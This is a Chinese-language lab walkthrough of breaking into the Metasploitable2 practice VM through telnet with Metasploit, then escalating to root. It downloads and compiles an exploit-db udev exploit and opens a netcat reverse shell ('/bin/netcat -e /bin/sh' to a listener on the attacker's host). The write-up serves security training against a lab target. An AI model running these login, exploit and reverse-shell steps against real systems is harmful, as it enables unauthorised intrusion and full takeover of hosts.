0x00 簡介
Metasploitable2 虛擬系統是一個特別制作的ubuntu操作系統,本身設計作為安全工具測試和演示常見漏洞攻擊。
工具:kali下的Metasploit
靶機:Metasploitable2
環境:
kali:192.168.84.137
靶機:192.168.84.141
0x01 Telnet介紹
Telnet協議是TCP/IP協議族中的一員,是internet遠程登陸服務的標准協議和主要方式。它為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程序,用它連接到服務器。終端使用者可以在telnet程序中輸入命令,這些命令會在服務器上運行,就像直接在服務器的控制台上輸入一樣。
雖然telnet較為簡單實用也很方便,但是在格外注重安全的現代網絡技術中,telnet並不被重用。原因在於telnet是一個明文傳送協議,它將用戶的所有內容,包括用戶名和密碼都以明文在互聯網上傳送,具有一定的安全隱患,因此許多服務器都會選擇禁用telnet服務。如果我們要使用telnet的遠程登錄,使用前應在遠端服務器上檢查並設置允許telnet服務的功能。
Telnet服務端默認情況下使用23端口。
0x02 Telent的登錄提權
首先就是nmap對靶機進行23端口的掃描。

掃描之后,可以知道23端口是開啟的。
那么啟動Metasploit,直接命令行輸入msfconsole。
首先使用telnet_version模塊來探測telnet的版本信息。

可以在倒數第三行看到用戶名和密碼都是msfadmin。
再使用telnet_login模塊,進行telnet用戶名密碼的暴力破解,因為早已知道該靶機的用戶名和密碼都是msfadmin,所有我在使用該模塊進行登錄,就很快。。。。
use auxiliary/scanner/telnet/telnet_login
該模塊的用戶名密碼只能通過文件來進行設置,不能指定用戶名密碼,其他的都差不多。
進行攻擊后拿到一個shell。

但是這個shell的權限還是很低,就是msfadmin用戶的權限,並不是root權限。
此處就介紹一下sessions -u 對應會話ID
可以通過此命令來嘗試拿到meterpreter shell。

進行連接會話2,查看權限。

利用exp獲取root權限

拿到普通shell。嘗試從www.exploit-db.com下載exp。
但是發現因為該網址是https,導致下載失敗。

所以為了解決這個問題,就先在kali上下載exp,再用shell從kali處下載exp。
kali上運行
wget https://www.exploit-db.com/download/8572
並使用mv命令將其改名為test.c。
接下來有兩種方式,讓shell能夠從kali處下載test.c。
一是使用python的模塊(python2的環境)
python -m SimpleHTTPServer(python2的環境)
python -m http.server(python3的環境)
並在下載的地址后面加上端口號8000即可。
二是開啟apache2服務
service apache2 start
並將test.c移動到/var/www/html目錄下,才能讓shell進行下載。
將test.c下載到靶機后,就是編譯運行了。
在編譯的地方可能會出現下面的問題

英語不好,就不翻譯了,不過解決的方法是在kali上將test.c文件打開,在末尾處多按幾個回車鍵即可。
報錯前的test.c文件:

修改后的test.c文件:

然后再重新從kali處下載就好了。
先nc監聽:nc -lvp 4444(端口號隨意,只需要和下面的端口號一樣即可)
就是以下的操作:
gcc 源文件 -o exploit echo '#!/bin/sh' > /tmp/run echo '/bin/netcat -e /bin/sh ip nc的監聽端口' >> /tmp/run ps aux | grep udev 執行exploit 具有root權限的pid減1 ./exploit 數字pid減1

運行完之后,監聽端口反彈shell,拿到root權限。

拿到權限后,可以使用python -c 'import pty;pty.spawn("/bin/bash")'來獲取偽終端。
